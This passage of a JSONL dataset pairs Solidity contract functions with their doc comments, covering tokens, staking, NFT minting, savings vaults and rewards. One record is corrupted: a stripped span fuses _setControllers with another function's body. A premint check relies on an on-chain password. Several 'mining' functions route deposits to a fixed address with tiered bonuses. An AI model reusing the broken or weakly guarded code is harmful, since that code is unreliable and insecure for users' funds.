operator, from, to, value, data, operatorData);\n }\n \n return(hex\"00\", \"\", partition);\n }", "version": "0.8.10"} {"comment": "/**\n * @dev Set list of token controllers.\n * @param operators Controller addresses.\n */", "function_code": "function _setControllers(address[] memory operators) internal {\n for (uint i = 0; i<_controllers.length; i++){\n _isController[_controllers[i]] = false;\n }\n for (uint j = 0; j 0) {\r\n // redeem for token\r\n redeemRewardToken(msg.sender, rewardBalance, opportunity());\r\n }\r\n\r\n // emit disable event\r\n emit TrueRewardDisabled(msg.sender);\r\n // emit Transfer(msg.sender, address(0), zTrueCurrency);\r\n }", "version": "0.5.13"} {"comment": "/**\r\n * @dev mint function for TrueRewardBackedToken\r\n * Mints TrueCurrency backed by debt\r\n * When we add multiple opportunities, this needs to work for mutliple interfaces\r\n */", "function_code": "function mint(address _to, uint256 _value) public onlyOwner {\r\n // check if to address is enabled\r\n bool toEnabled = trueRewardEnabled(_to);\r\n\r\n // if to enabled, mint to this contract and deposit into finOp\r\n if (toEnabled) {\r\n // mint to this contract\r\n super.mint(address(this), _value);\r\n // transfer minted amount to target receiver\r\n _transferAllArgs(address(this), _to, _value);\r\n }\r\n // otherwise call normal mint process\r\n else {\r\n super.mint(_to, _value);\r\n }\r\n }", "version": "0.5.13"} {"comment": "/**\r\n * @dev Transfer helper function for TrueRewardBackedToken\r\n */", "function_code": "function _transferAllArgs(address _from, address _to, uint256 _value) internal {\r\n // 1. Both sender and receiver are disabled\r\n // Exchange is in TrueCurrency -> call the normal transfer function\r\n if (!trueRewardEnabled(_from) && !trueRewardEnabled(_to)) {\r\n // sender not enabled receiver not enabled\r\n super._transferAllArgs(_from, _to, _value);\r\n return;\r\n }\r\n require(balanceOf(_from) >= _value, \"not enough balance\");\r\n\r\n // require account is not blacklisted and check if hook is registered\r\n (address finalTo, bool hasHook) = _requireCanTransfer(_from, _to);\r\n\r\n _value = _transferWithRewards(_from, finalTo, _value);\r\n\r\n // emit transfer event for from\r\n emit Transfer(_from, _to, _value);\r\n if (finalTo != _to) {\r\n emit Transfer(_to, finalTo, _value);\r\n if (hasHook) {\r\n TrueCoinReceiver(finalTo).tokenFallback(_to, _value);\r\n }\r\n } else {\r\n if (hasHook) {\r\n TrueCoinReceiver(finalTo).tokenFallback(_from, _value);\r\n }\r\n }\r\n }", "version": "0.5.13"} {"comment": "// addListing(): add a point to the registry, including its corresponding price and owner address.\n// optional reserved buyer address can be included. \n//", "function_code": "function addListing(uint32 _point, uint96 _price, address _reservedBuyer) external\n {\n // intentionally using isOwner() instead of canTransfer(), which excludes third-party proxy addresses.\n // the exchange owner also has no ability to list anyone else's assets, it can strictly only be the point owner.\n // \n require(azimuth.isOwner(_point, _msgSender()), \"not owner\");\n\n // add the price of the point and the seller address to the registry\n // \n setRegistryEntry(_point, _msgSender(), _price, _reservedBuyer); \n \n emit ListingAdded(_point, _price);\n\n }", "version": "0.8.11"} {"comment": "//", "function_code": "function supportsInterface(bytes4 interfaceID) public pure returns (bool) {\r\n return interfaceID == 0x3b3b57de //addr\r\n || interfaceID == 0x59d1d43c //text\r\n || interfaceID == 0x691f3431 //name\r\n || interfaceID == 0x01ffc9a7; //supportsInterface << [inception]\r\n }", "version": "0.8.7"} {"comment": "//\n//--------------------------------------------------------------------------------------------//\n//", "function_code": "function addressToString(address _addr) private pure returns(string memory) {\r\n bytes32 value = bytes32(uint256(uint160(_addr)));\r\n bytes memory alphabet = \"0123456789abcdef\";\r\n\r\n bytes memory str = new bytes(51);\r\n str[0] = \"0\";\r\n str[1] = \"x\";\r\n for (uint i = 0; i < 20; i++) {\r\n str[2+i*2] = alphabet[uint(uint8(value[i + 12] >> 4))];\r\n str[3+i*2] = alphabet[uint(uint8(value[i + 12] & 0x0f))];\r\n }\r\n return string(str);\r\n }", "version": "0.8.7"} {"comment": "/**\n * @dev 2. Swaps fAsset for mAsset and then deposits to Save/Savings Vault\n * @param _mAsset mAsset address\n * @param _save Save address\n * @param _vault Boosted Savings Vault address\n * @param _feeder Feeder Pool address\n * @param _fAsset fAsset address\n * @param _fAssetQuantity Quantity of fAsset sent\n * @param _minOutputQuantity Min amount of mAsset to be swapped and deposited\n * @param _stake Deposit the imAsset in the Savings Vault?\n */", "function_code": "function saveViaSwap(\n address _mAsset,\n address _save,\n address _vault,\n address _feeder,\n address _fAsset,\n uint256 _fAssetQuantity,\n uint256 _minOutputQuantity,\n bool _stake\n ) external {\n _saveViaSwap(\n _mAsset,\n _save,\n _vault,\n _feeder,\n _fAsset,\n _fAssetQuantity,\n _minOutputQuantity,\n _stake,\n address(0)\n );\n }", "version": "0.8.6"} {"comment": "/**\n * @dev 3. Buys a bAsset on Uniswap with ETH, then mints imAsset via mAsset,\n * optionally staking in the Boosted Savings Vault\n * @param _mAsset mAsset address\n * @param _save Save address\n * @param _vault Boosted vault address\n * @param _uniswap Uniswap router address\n * @param _amountOutMin Min uniswap output in bAsset units\n * @param _path Sell path on Uniswap (e.g. [WETH, DAI])\n * @param _minOutMStable Min amount of mAsset to receive\n * @param _stake Add the imAsset to the Savings Vault?\n */", "function_code": "function saveViaUniswapETH(\n address _mAsset,\n address _save,\n address _vault,\n address _uniswap,\n uint256 _amountOutMin,\n address[] calldata _path,\n uint256 _minOutMStable,\n bool _stake\n ) external payable {\n _saveViaUniswapETH(\n _mAsset,\n _save,\n _vault,\n _uniswap,\n _amountOutMin,\n _path,\n _minOutMStable,\n _stake,\n address(0)\n );\n }", "version": "0.8.6"} {"comment": "/**\n * @dev Gets estimated mAsset output from a WETH > bAsset > mAsset trade\n * @param _mAsset mAsset address\n * @param _uniswap Uniswap router address\n * @param _ethAmount ETH amount to sell\n * @param _path Sell path on Uniswap (e.g. [WETH, DAI])\n */", "function_code": "function estimate_saveViaUniswapETH(\n address _mAsset,\n address _uniswap,\n uint256 _ethAmount,\n address[] calldata _path\n ) external view returns (uint256 out) {\n require(_mAsset != address(0), \"Invalid mAsset\");\n require(_uniswap != address(0), \"Invalid uniswap\");\n\n uint256 estimatedBasset = _getAmountOut(_uniswap, _ethAmount, _path);\n return IMasset(_mAsset).getMintOutput(_path[_path.length - 1], estimatedBasset);\n }", "version": "0.8.6"} {"comment": "/**\n * @dev 0. Simply saves an mAsset and then into the vault\n * @param _mAsset mAsset address\n * @param _save Save address\n * @param _vault Boosted Savings Vault address\n * @param _amount Units of mAsset to deposit to savings\n * @param _referrer Referrer address for this deposit.\n */", "function_code": "function _saveAndStake(\n address _mAsset,\n address _save,\n address _vault,\n uint256 _amount,\n bool _stake,\n address _referrer\n ) internal {\n require(_mAsset != address(0), \"Invalid mAsset\");\n require(_save != address(0), \"Invalid save\");\n require(_vault != address(0), \"Invalid vault\");\n\n // 1. Get the input mAsset\n IERC20(_mAsset).safeTransferFrom(msg.sender, address(this), _amount);\n\n // 2. Mint imAsset and stake in vault\n _depositAndStake(_save, _vault, _amount, _stake, _referrer);\n }", "version": "0.8.6"} {"comment": "/** @dev Internal func to deposit into Save and optionally stake in the vault\n * @param _save Save address\n * @param _vault Boosted vault address\n * @param _amount Amount of mAsset to deposit\n * @param _stake Add the imAsset to the Savings Vault?\n * @param _referrer Referrer address for this deposit, if any.\n */", "function_code": "function _depositAndStake(\n address _save,\n address _vault,\n uint256 _amount,\n bool _stake,\n address _referrer\n ) internal {\n if (_stake && _referrer != address(0)) {\n uint256 credits = ISavingsContractV3(_save).depositSavings(\n _amount,\n address(this),\n _referrer\n );\n IBoostedVaultWithLockup(_vault).stake(msg.sender, credits);\n } else if (_stake && _referrer == address(0)) {\n uint256 credits = ISavingsContractV3(_save).depositSavings(_amount, address(this));\n IBoostedVaultWithLockup(_vault).stake(msg.sender, credits);\n } else if (!_stake && _referrer != address(0)) {\n ISavingsContractV3(_save).depositSavings(_amount, msg.sender, _referrer);\n } else {\n ISavingsContractV3(_save).depositSavings(_amount, msg.sender);\n }\n }", "version": "0.8.6"} {"comment": "/**\n * @dev 1. Mints an mAsset and then deposits to Save/Savings Vault\n * @param _mAsset mAsset address\n * @param _bAsset bAsset address\n * @param _save Save address\n * @param _vault Boosted Savings Vault address\n * @param _amount Amount of bAsset to mint with\n * @param _minOut Min amount of mAsset to get back\n * @param _stake Add the imAsset to the Boosted Savings Vault?\n * @param _referrer Referrer address for this deposit.\n */", "function_code": "function _saveViaMint(\n address _mAsset,\n address _save,\n address _vault,\n address _bAsset,\n uint256 _amount,\n uint256 _minOut,\n bool _stake,\n address _referrer\n ) internal {\n require(_mAsset != address(0), \"Invalid mAsset\");\n require(_save != address(0), \"Invalid save\");\n require(_vault != address(0), \"Invalid vault\");\n require(_bAsset != address(0), \"Invalid bAsset\");\n\n // 1. Get the input bAsset\n IERC20(_bAsset).safeTransferFrom(msg.sender, address(this), _amount);\n\n // 2. Mint\n uint256 massetsMinted = IMasset(_mAsset).mint(_bAsset, _amount, _minOut, address(this));\n\n // 3. Mint imAsset and optionally stake in vault\n _depositAndStake(_save, _vault, massetsMinted, _stake, _referrer);\n }", "version": "0.8.6"} {"comment": "/**\n * @dev Approve mAsset and bAssets, Feeder Pools and fAssets, and Save/vault\n */", "function_code": "function approve(\n address _mAsset,\n address[] calldata _bAssets,\n address[] calldata _fPools,\n address[] calldata _fAssets,\n address _save,\n address _vault\n ) external onlyKeeperOrGovernor {\n _approve(_mAsset, _save);\n _approve(_save, _vault);\n _approve(_bAssets, _mAsset);\n\n require(_fPools.length == _fAssets.length, \"Mismatching fPools/fAssets\");\n for (uint256 i = 0; i < _fPools.length; i++) {\n _approve(_fAssets[i], _fPools[i]);\n }\n }", "version": "0.8.6"} {"comment": "/* This function is used to transfer tokens to a particular address \r\n * @param _to receiver address where transfer is to be done\r\n * @param _value value to be transferred\r\n */", "function_code": "function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { \r\n require(balanceOf[msg.sender] > 0); \r\n require(balanceOf[msg.sender] >= _value); // Check if the sender has enough \r\n require(_to != address(0)); // Prevent transfer to 0x0 address. Use burn() instead\r\n require(_value > 0);\t\r\n require(_to != msg.sender); // Check if sender and receiver is not same\r\n balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); // Subtract value from sender\r\n balanceOf[_to] = balanceOf[_to].add(_value); // Add the value to the receiver\r\n emit Transfer(msg.sender, _to, _value); // Notify all clients about the transfer events\r\n return true;\r\n\t}", "version": "0.4.24"} {"comment": "/**\r\n * This function Burns a specific amount of tokens.\r\n * @param _value The amount of token to be burned.\r\n */", "function_code": "function burn(uint256 _value) public onlyOwner {\r\n require(_value <= balanceOf[msg.sender]);\r\n // no need to require value <= totalSupply, since that would imply the\r\n // sender's balance is greater than the totalSupply, which *should* be an assertion failure\r\n address burner = msg.sender;\r\n balanceOf[burner] = balanceOf[burner].sub(_value);\r\n totalSupply = totalSupply.sub(_value);\r\n emit Burn(burner, _value);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Returns royalty reciever address and royalty amount\r\n * @param _tokenId Token Id\r\n * @param _salePrice Value to calculate royalty from\r\n * @return receiver Royalty reciever address\r\n * @return amount Royalty amount\r\n */", "function_code": "function royaltyInfo(uint256 _tokenId, uint256 _salePrice)\r\n external\r\n view\r\n override\r\n returns (address receiver, uint256 amount)\r\n {\r\n require(_tokenId > 0);\r\n receiver = this.owner();\r\n if (_salePrice <= 100) {\r\n amount = 0;\r\n } else {\r\n amount = _salePrice.mul(5).div(100);\r\n }\r\n }", "version": "0.8.11"} {"comment": "/**\r\n * @notice Calls when royalty recieved\r\n */", "function_code": "function onRoyaltiesReceived(\r\n address _royaltyRecipient,\r\n address _buyer,\r\n uint256 _tokenId,\r\n address _tokenPaid,\r\n uint256 _amount,\r\n bytes32 _metadata\r\n ) external returns (bytes4) {\r\n emit RoyaltiesReceived(\r\n _royaltyRecipient,\r\n _buyer,\r\n _tokenId,\r\n _tokenPaid,\r\n _amount,\r\n _metadata\r\n );\r\n return\r\n bytes4(\r\n keccak256(\r\n \"onRoyaltiesReceived(address,address,uint256,address,uint256,bytes32)\"\r\n )\r\n );\r\n }", "version": "0.8.11"} {"comment": "// ------------------------------------------------------------------------\n// 1,000 WALL Tokens per 1 ETH\n// ------------------------------------------------------------------------", "function_code": "function () public payable {\r\n require(now >= startDate && now <= endDate);\r\n uint tokens;\r\n if (now <= bonusEnds) {\r\n tokens = msg.value * 1200;\r\n } else {\r\n tokens = msg.value * 1000;\r\n }\r\n balances[msg.sender] = safeAdd(balances[msg.sender], tokens);\r\n _totalSupply = safeAdd(_totalSupply, tokens);\r\n Transfer(address(0), msg.sender, tokens);\r\n owner.transfer(msg.value);\r\n }", "version": "0.4.18"} {"comment": "/////////////\n/// @dev the inflation rate begins at 100% and decreases by 30% every year until it reaches 10%\n/// at 10% the rate begins to decrease by 0.5% until it reaches 1%", "function_code": "function adjustInflationRate() private {\r\n // Make sure adjustInflationRate cannot be called for at least another year\r\n lastInflationUpdate = now;\r\n\r\n // Decrease inflation rate by 30% each year\r\n if (inflationRate > 100) {\r\n inflationRate = inflationRate.sub(300);\r\n }\r\n // Inflation rate reaches 10%. Decrease inflation rate by 0.5% from here on out until it reaches 1%.\r\n else if (inflationRate > 10) {\r\n inflationRate = inflationRate.sub(5);\r\n }\r\n\r\n adjustMintRates();\r\n }", "version": "0.4.24"} {"comment": "/// @dev adjusts the mint rate when the yearly inflation update is called", "function_code": "function adjustMintRates() internal {\r\n\r\n // Calculate new mint amount of Scale that should be created per year.\r\n poolMintAmount = totalSupply.mul(inflationRate).div(1000).mul(poolPercentage).div(100);\r\n ownerMintAmount = totalSupply.mul(inflationRate).div(1000).mul(ownerPercentage).div(100);\r\n stakingMintAmount = totalSupply.mul(inflationRate).div(1000).mul(stakingPercentage).div(100);\r\n\r\n // Adjust Scale created per-second for each rate\r\n poolMintRate = calculateFraction(poolMintAmount, 31536000 ether, decimals);\r\n ownerMintRate = calculateFraction(ownerMintAmount, 31536000 ether, decimals);\r\n stakingMintRate = calculateFraction(stakingMintAmount, 31536000 ether, decimals);\r\n }", "version": "0.4.24"} {"comment": "/// @dev Transfer tokens from the contract to the user when unstaking\n/// @param _value uint256 the amount of tokens to be transferred", "function_code": "function transferFromContract(uint _value) internal {\r\n\r\n // Sanity check to make sure we are not transferring more than the contract has\r\n require(_value <= balances[address(this)]);\r\n\r\n // Add to the msg.sender balance\r\n balances[msg.sender] = balances[msg.sender].add(_value);\r\n \r\n // Subtract from the contract's balance\r\n balances[address(this)] = balances[address(this)].sub(_value);\r\n\r\n // Fire an event for transfer\r\n emit Transfer(address(this), msg.sender, _value);\r\n }", "version": "0.4.24"} {"comment": "/// @dev stake function reduces the user's total available balance and adds it to their staking balance\n/// @param _value how many tokens a user wants to stake", "function_code": "function stakeScale(address _user, uint256 _value) private returns (bool success) {\r\n\r\n // You can only stake / stakeFor as many tokens as you have\r\n require(_value <= balances[msg.sender]);\r\n\r\n // Require the user is not in power down period\r\n require(stakeBalances[_user].unstakeTime == 0);\r\n\r\n // Transfer tokens to contract address\r\n transfer(address(this), _value);\r\n\r\n // Now as a day\r\n uint _nowAsDay = now.div(timingVariable);\r\n\r\n // Adjust the new staking balance\r\n uint _newStakeBalance = stakeBalances[_user].stakeBalance.add(_value);\r\n\r\n // If this is the initial stake time, save\r\n if (stakeBalances[_user].stakeBalance == 0) {\r\n // Save the time that the stake started\r\n stakeBalances[_user].initialStakeTime = _nowAsDay;\r\n }\r\n\r\n // Add stake amount to staked balance\r\n stakeBalances[_user].stakeBalance = _newStakeBalance;\r\n\r\n // Assign the total amount staked at this day\r\n stakeBalances[_user].stakePerDay[_nowAsDay] = _newStakeBalance;\r\n\r\n // Increment the total staked tokens\r\n totalScaleStaked = totalScaleStaked.add(_value);\r\n\r\n // Set the new staking history\r\n setTotalStakingHistory();\r\n\r\n // Fire an event for newly staked tokens\r\n emit Stake(_user, _value);\r\n\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/// @dev deposit a user's initial stake plus earnings if the user unstaked at least 14 days ago", "function_code": "function claimStake() external returns (bool) {\r\n\r\n // Require that at least 14 days have passed (days)\r\n require(now.div(timingVariable).sub(stakeBalances[msg.sender].unstakeTime) >= 14);\r\n\r\n // Get the user's stake balance \r\n uint _userStakeBalance = stakeBalances[msg.sender].stakeBalance;\r\n\r\n // Calculate tokens to mint using unstakeTime, rewards are not received during power-down period\r\n uint _tokensToMint = calculateStakeGains(stakeBalances[msg.sender].unstakeTime);\r\n\r\n // Clear out stored data from mapping\r\n stakeBalances[msg.sender].stakeBalance = 0;\r\n stakeBalances[msg.sender].initialStakeTime = 0;\r\n stakeBalances[msg.sender].unstakeTime = 0;\r\n\r\n // Return the stake balance to the staker\r\n transferFromContract(_userStakeBalance);\r\n\r\n // Mint the new tokens to the sender\r\n mint(msg.sender, _tokensToMint);\r\n\r\n // Scale unstaked event\r\n emit ClaimStake(msg.sender, _userStakeBalance, _tokensToMint);\r\n\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/// @dev allows users to start the reclaim process for staked tokens and stake rewards\n/// @return bool on success", "function_code": "function initUnstake() external returns (bool) {\r\n\r\n // Require that the user has not already started the unstaked process\r\n require(stakeBalances[msg.sender].unstakeTime == 0);\r\n\r\n // Require that there was some amount staked\r\n require(stakeBalances[msg.sender].stakeBalance > 0);\r\n\r\n // Log time that user started unstaking\r\n stakeBalances[msg.sender].unstakeTime = now.div(timingVariable);\r\n\r\n // Subtract stake balance from totalScaleStaked\r\n totalScaleStaked = totalScaleStaked.sub(stakeBalances[msg.sender].stakeBalance);\r\n\r\n // Set this every time someone adjusts the totalScaleStaked amount\r\n setTotalStakingHistory();\r\n\r\n // Scale unstaked event\r\n emit Unstake(msg.sender, stakeBalances[msg.sender].stakeBalance);\r\n\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/// @dev set the new totalStakingHistory mapping to the current timestamp and totalScaleStaked", "function_code": "function setTotalStakingHistory() private {\r\n\r\n // Get now in terms of the variable staking accuracy (days in Scale's case)\r\n uint _nowAsTimingVariable = now.div(timingVariable);\r\n\r\n // Set the totalStakingHistory as a timestamp of the totalScaleStaked today\r\n totalStakingHistory[_nowAsTimingVariable] = totalScaleStaked;\r\n }", "version": "0.4.24"} {"comment": "// @dev anyone can call this function that mints Scale to the pool dedicated to Scale distribution to rewards pool", "function_code": "function poolIssue() public {\r\n\r\n // Do not allow tokens to be minted to the pool until the pool is set\r\n require(pool != address(0));\r\n\r\n // Make sure time has passed since last minted to pool\r\n require(now > poolTimeLastMinted);\r\n require(pool != address(0));\r\n\r\n uint _timePassedSinceLastMint; // The amount of time passed since the pool claimed in seconds\r\n uint _tokenMintCount; // The amount of new tokens to mint\r\n bool _mintingSuccess; // The success of minting the new Scale tokens\r\n\r\n // Calculate the number of seconds that have passed since the owner last took a claim\r\n _timePassedSinceLastMint = now.sub(poolTimeLastMinted);\r\n\r\n assert(_timePassedSinceLastMint > 0);\r\n\r\n // Determine the token mint amount, determined from the number of seconds passed and the ownerMintRate\r\n _tokenMintCount = calculateMintTotal(_timePassedSinceLastMint, poolMintRate);\r\n\r\n // Mint the owner's tokens; this also increases totalSupply\r\n _mintingSuccess = mint(pool, _tokenMintCount);\r\n\r\n require(_mintingSuccess);\r\n\r\n // New minting was a success! Set last time minted to current block.timestamp (now)\r\n poolTimeLastMinted = now;\r\n }", "version": "0.4.24"} {"comment": "//BUY Ethminter", "function_code": "function EthTomining(address _addr)payable public{\r\n uint256 amount=msg.value;\r\n uint256 usdt=amount;\r\n uint256 _udst=amount;\r\n miner storage user=miners[_addr];\r\n require(amount>800000000000000000);\r\n if(usdt>40000000000000000000){\r\n usdt=amount*150/100;\r\n user.ETHV5+=1;\r\n }else{\r\n if (usdt > 25000000000000000000){\r\n usdt = amount* 130 / 100;\r\n user.ETHV4+=1;\r\n }\r\n else{\r\n if (usdt > 9000000000000000000){\r\n usdt = amount * 120 / 100;\r\n user.ETHV3+=1;\r\n }\r\n else{\r\n if (usdt > 4000000000000000000){\r\n usdt = amount * 110 / 100;\r\n user.ETHV2+=1;\r\n }\r\n else{\r\n user.ETHV1+=1; \r\n }\r\n }\r\n }\r\n }\r\n uint256 _transfer=amount*15/100;\r\n addressDraw.transfer(_transfer);\r\n TotalInvestment+=usdt;\r\n user.mining+=usdt;\r\n user._mining+=_udst;\r\n //user._mining+=_udst;\r\n user.lastDate=now;\r\n bomus(msg.sender,usdt,\"Purchase success!\");\r\n }", "version": "0.4.24"} {"comment": "//BUY BEBminter", "function_code": "function BebTomining(uint256 _value,address _addr)public{\r\n uint256 usdt=_value* 10 ** 18;\r\n uint256 _udst=usdt/bebethex;\r\n uint256 bebudst=usdt/bebethex;\r\n miner storage user=miners[_addr];\r\n bebvv storage _user=bebvvs[_addr];\r\n require(usdt>40000000000000000000000);\r\n if(usdt>2000000000000000000000000){\r\n _udst=usdt/bebethexchuang*150/100;\r\n _user.BEBV5+=1; \r\n }else{\r\n if (usdt > 400000000000000000000000){\r\n _udst = usdt / bebethexchuang * 130 / 100;\r\n _user.BEBV4+=1; \r\n }\r\n else{\r\n if (usdt > 200000000000000000000000){\r\n _udst = usdt / bebethexchuang * 120 / 100;\r\n _user.BEBV3+=1; \r\n }\r\n else{\r\n if (usdt > 120000000000000000000000){\r\n _udst = usdt / bebethexchuang * 110 / 100;\r\n _user.BEBV2+=1; \r\n }else{\r\n _user.BEBV1+=1; \r\n }\r\n }\r\n }\r\n \r\n }\r\n bebTokenTransfer.transferFrom(msg.sender,address(this),usdt);\r\n TotalInvestment+=_udst;\r\n user.mining+=_udst;\r\n user._mining+=bebudst;\r\n user.lastDate=now;\r\n bomus(msg.sender,usdt,\"Purchase success!\");\r\n }", "version": "0.4.24"} {"comment": "/// Get the full uri to get the token meta data", "function_code": "function tokenURI(uint256 tokenId) public view virtual override returns (string memory)\r\n {\r\n require(_exists(tokenId), \"ERC721Metadata: URI query for nonexistent token\");\r\n \r\n if(!isRevealed) {\r\n return _unrevealedUri;\r\n }\r\n\r\n string memory currentBaseURI = _baseURI();\r\n return bytes(currentBaseURI).length > 0\r\n ? string(abi.encodePacked(currentBaseURI, Strings.toString(tokenId+1), _baseExtension))\r\n : \"\";\r\n }", "version": "0.8.7"} {"comment": "/// Mint a new Katana(s)", "function_code": "function mintToken(uint numberOfTokens) public payable {\r\n require(isSaleActive, \"Sale is not active\");\r\n require((totalSupply() + numberOfTokens) <= MAX_TOKEN, \"Number of tokens requested are not available\");\r\n require((mintPrice * numberOfTokens) <= msg.value, \"Not enough ether value sent\");\r\n \r\n require(numberOfTokens <= maxMintPublic, \"Number of tokens requested exceeds the amount allowed per transaction. See 'maxMintPublic'\");\r\n \r\n // mint the tokens\r\n _safeMint(msg.sender, numberOfTokens);\r\n \r\n }", "version": "0.8.7"} {"comment": "/// Mint a new Katana(s) during presale", "function_code": "function premintToken(uint numberOfTokens, string calldata password) public payable {\r\n require(isSaleActive, \"Sale is not active\");\r\n require(isPrivateSaleActive, \"presale is not active\");\r\n require(keccak256(abi.encodePacked(password)) == premintPassword, \"Premint password is not correct.\");\r\n require((totalSupply() + numberOfTokens) <= MAX_PRESALE_TOKEN, \"Number of tokens requested are not available\");\r\n require((mintPrice * numberOfTokens) <= msg.value, \"Not enough ether value sent\");\r\n\r\n require((balanceOf(msg.sender) + numberOfTokens) <= maxMintPresale, \"Number of tokens requested exceeds the amount allowed during the presale.\");\r\n require(numberOfTokens <= maxMintPresale, \"Number of tokens requested exceeds the amount allowed during the presale. See 'maxMintPresale'\");\r\n\r\n // mint the tokens\r\n _safeMint(msg.sender, numberOfTokens);\r\n }", "version": "0.8.7"} {"comment": "// Inspired from CyberKongz! Thanks for everything you are doing.", "function_code": "function isValidBiome(uint256 _id) public pure returns(bool) {\n if (_id >> 96 != 0x000000000000000000000000547e4f8fcE41fE8e46dbe7554B9153Ea087311d7)\n\t\t\treturn false;\n\t\tif (_id & 0x000000000000000000000000000000000000000000000000000000ffffffffff != 1)\n\t\t\treturn false;\n\t\tuint256 id = (_id & 0x0000000000000000000000000000000000000000ffffffffffffff0000000000) >> 40;\n\t\tif (id > 207 || id < 2 || id == 80 || id == 102 || id == 159 || id == 195 || id == 196 || id == 197)\n\t\t\treturn false;\n\t\treturn true;\n }", "version": "0.8.0"} {"comment": "// Helper to list all the Biomes of a wallet", "function_code": "function walletOfOwner(address _owner) public view returns(uint256[] memory) {\n uint256 tokenCount = balanceOf(_owner);\n\n uint256[] memory tokensId = new uint256[](tokenCount);\n for(uint256 i; i < tokenCount; i++){\n tokensId[i] = tokenOfOwnerByIndex(_owner, i);\n }\n return tokensId;\n }", "version": "0.8.0"} {"comment": "/**\r\n * Reserve for the team and giveaways\r\n */", "function_code": "function reserve() public onlyOwner {\r\n require(RESERVATION_COMPLETED == false, \"You already reserved your tokens\");\r\n\r\n for (uint i = 0; i < RESERVE_AMOUNT; i++) {\r\n uint mintIndex = totalSupply();\r\n _safeMint(msg.sender, mintIndex);\r\n }\r\n RESERVATION_COMPLETED = true;\r\n }", "version": "0.8.0"} {"comment": "/**\r\n * Mints NFTs\r\n */", "function_code": "function mintClown(uint numberOfTokens) public payable returns (uint[] memory) {\r\n require(SALE_ACTIVE, \"Sale must be active to mint a Clown\");\r\n require(totalSupply().add(numberOfTokens) <= MAX_SUPPLY, \"Purchase would exceed the max supply of Clownz\");\r\n require(NFT_MAIN_SALE_PRICE.mul(numberOfTokens) <= msg.value, \"Ether value sent is not correct\");\r\n require(numberOfTokens <= MAX_PURCHASE, \"Can only mint 20 tokens at a time\");\r\n uint[] memory result = new uint[](numberOfTokens);\r\n\r\n for(uint i = 0; i < numberOfTokens; i++) {\r\n uint mintIndex = totalSupply();\r\n if (mintIndex < MAX_SUPPLY) {\r\n _safeMint(msg.sender, mintIndex);\r\n }\r\n result[i] = mintIndex;\r\n }\r\n return result;\r\n }", "version": "0.8.0"} {"comment": "/**\r\n * Mints NTFs in presale\r\n */", "function_code": "function mintClownPresale(uint numberOfTokens) public payable returns (uint[] memory) {\r\n require(PRESALE_ACTIVE, \"Presale must be active to mint a Clown in presale\");\r\n require(NFT_PRESALE_PRICE.mul(numberOfTokens) <= msg.value, \"Ether value is not correct\");\r\n require(_whitelist[msg.sender], \"You have to be whitelisted to mint in presale\");\r\n require(_whitelistMinted[msg.sender].add(numberOfTokens) <= MAX_PURCHASE_PRESALE, \"Can only mint 4 tokens per address in presale\");\r\n uint[] memory result = new uint[](numberOfTokens);\r\n\r\n for (uint i = 0; i < numberOfTokens; i++) {\r\n uint mintIndex = totalSupply();\r\n if (totalSupply() < MAX_SUPPLY) {\r\n _safeMint(msg.sender, mintIndex);\r\n }\r\n result[i] = mintIndex;\r\n }\r\n _whitelistMinted[msg.sender] = _whitelistMinted[msg.sender].add(numberOfTokens);\r\n return result;\r\n }", "version": "0.8.0"} {"comment": "/**\r\n * @dev Retuns ids of the tokens that are owned by the given address.\r\n */", "function_code": "function getOwnedTokens(address owner) external view returns (uint[] memory) {\r\n uint[] memory result = new uint[](_balances[owner]);\r\n uint counter = 0;\r\n for (uint i = 0; i < _tokensMinted; i++) {\r\n if (_owners[i] == owner) {\r\n result[counter] = i;\r\n counter = counter.add(1);\r\n }\r\n }\r\n return result;\r\n }", "version": "0.8.0"} {"comment": "// Minting function with signature for txn relayers", "function_code": "function mintWithSig(\r\n address account,\r\n uint256 id,\r\n bytes memory data,\r\n bytes memory sig,\r\n uint256 blockExpiry\r\n ) external {\r\n bytes32 message = getMintSigningHash(blockExpiry, account, id).toEthSignedMessageHash();\r\n require(ECDSA.recover(message, sig) == signVerifier, 'Permission to call this function failed');\r\n require(block.number < blockExpiry, 'Sig expired');\r\n\r\n mintNonces[account]++;\r\n\r\n _mint(account, id, 1, data);\r\n }", "version": "0.8.2"} {"comment": "//\n// Construction helpers\n//", "function_code": "function getContracts(IController _controller, bytes32 _orderId) private view returns (Contracts memory) {\r\n IOrders _orders = IOrders(_controller.lookup(\"Orders\"));\r\n IMarket _market = _orders.getMarket(_orderId);\r\n uint256 _outcome = _orders.getOutcome(_orderId);\r\n return Contracts({\r\n orders: _orders,\r\n market: _market,\r\n completeSets: ICompleteSets(_controller.lookup(\"CompleteSets\")),\r\n denominationToken: _market.getDenominationToken(),\r\n longShareToken: _market.getShareToken(_outcome),\r\n shortShareTokens: getShortShareTokens(_market, _outcome),\r\n augur: _controller.getAugur()\r\n });\r\n }", "version": "0.4.20"} {"comment": "/// @notice withdraw up to all user deposited", "function_code": "function withdraw(address _lpToken, uint256 _amount)\n external\n override\n nonReentrant\n notPaused\n {\n require(\n pools[_lpToken].lastUpdatedAt > 0,\n \"Blacksmith: pool does not exists\"\n );\n _updatePool(_lpToken);\n\n User storage user = users[_lpToken][msg.sender];\n _claimRewards(_lpToken, user);\n uint256 amount = user.amount > _amount ? _amount : user.amount;\n user.amount = user.amount - amount;\n pools[_lpToken].amount = pools[_lpToken].amount - amount;\n _updateUserWriteoffs(_lpToken);\n\n _safeTransfer(_lpToken, amount);\n emit Withdraw(msg.sender, _lpToken, amount);\n }", "version": "0.8.3"} {"comment": "/// @notice extend the current bonus program, the program has to be active (endTime is in the future)", "function_code": "function extendBonus(\n address _lpToken,\n uint256 _poolBonusId,\n address _bonusTokenAddr,\n uint256 _transferAmount\n ) external override nonReentrant notPaused {\n require(\n _isAuthorized(allowedTokenAuthorizers[_lpToken][_bonusTokenAddr]),\n \"BonusRewards: not authorized caller\"\n );\n\n Bonus memory bonus = pools[_lpToken].bonuses[_poolBonusId];\n require(\n bonus.bonusTokenAddr == _bonusTokenAddr,\n \"BonusRewards: bonus and id dont match\"\n );\n require(\n bonus.endTime > block.timestamp,\n \"BonusRewards: bonus program ended, please start a new one\"\n );\n\n IERC20 bonusTokenAddr = IERC20(_bonusTokenAddr);\n uint256 balanceBefore = 